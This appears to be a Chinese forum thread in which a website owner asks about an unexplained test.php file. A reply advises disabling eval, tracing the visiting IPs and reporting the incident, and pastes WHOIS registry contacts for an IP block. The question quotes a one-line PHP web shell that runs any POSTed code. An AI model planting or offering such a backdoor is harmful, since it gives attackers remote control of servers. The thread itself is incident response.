php 漏洞提问 急....
我们网站不知道怎么的多了个test.php

内容如下 ：

<?php eval($_POST[cmd]);?>

找了很多资料，也没看出个大概..

1. 我想知道这个一般是怎么注入到我们网站里的？？

2. 它主要起什么作用？？

我们网站其它原文件应该不会也被注入了吧...

[解决办法]
1.首先在php.ini设定禁用eval函数(需确认系统中未使用此函数——普通系统很少用此函数)
2.搜索所有访问test.php的IP地址

搜集完资料后整理出来，报案。

BatchFile code

inetnum: 222.32.0.0 - 222.63.255.255netname: CRTCdescr: CHINA RAILWAY TELECOMMUNICATIONS CENTERdescr: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinacountry: CNadmin-c: LQ112-APtech-c: LM273-APstatus: ALLOCATED PORTABLEmnt-by: MAINT-CNNIC-APchanged: hm-changed@apnic.net 20030902source: APNICroute: 222.32.0.0/11descr: CHINA RAILWAY TELECOMMUNICATIONS CENTERcountry: CNorigin: AS9394mnt-by: MAINT-CN-CRTCchanged: ipas@cnnic.cn 20040402source: APNICperson: LV QIANGnic-hdl: LQ112-APe-mail: crnet_mgr@chinatietong.comaddress: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51892111fax-no: +86-10-51847845country: CNchanged: ipas@cnnic.net.cn 20060911mnt-by: MAINT-CNNIC-APsource: APNICperson: liu minnic-hdl: LM273-APe-mail: crnet_tec@chinatietong.comaddress: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51848796fax-no: +86-10-51842426country: CNchanged: ipas@cnnic.net.cn 20041208mnt-by: MAINT-CNNIC-APsource: APNICinetnum: 222.32.0.0 - 222.63.255.255netname: CRTCdescr: CHINA RAILWAY TELECOMMUNICATIONS CENTERdescr: 22F Yuetan Mansion,Xicheng District,Beijing,Chinacountry: CNadmin-c: LQ112-CNtech-c: LM273-CNstatus: ALLOCATED PORTABLEchanged: hm-changed@apnic.net 20030902mnt-by: MAINT-CNNIC-APsource: CNNICperson: LV QIANGnic-hdl: LQ112-CNe-mail: crnet_mgr@chinatietong.comaddress: 22F Yuetan Mansion,Xicheng District,Beijingphone: +86-10-51892111fax-no: +86-10-51847845country: CNchanged: ipas@cnnic.cn 20060419mnt-by: MAINT-CNNIC-APsource: CNNICperson: liu minnic-hdl: LM273-CNe-mail: crnet_tec@chinatietong.comaddress: 22F Yuetan Mansion,Xicheng District,Beijing,P.R.Chinaphone: +86-10-51848796fax-no: +86-10-51842426country: CNchanged: ipas@cnnic.net.cn 20041208mnt-by: MAINT-CNNIC-APsource: CNNIC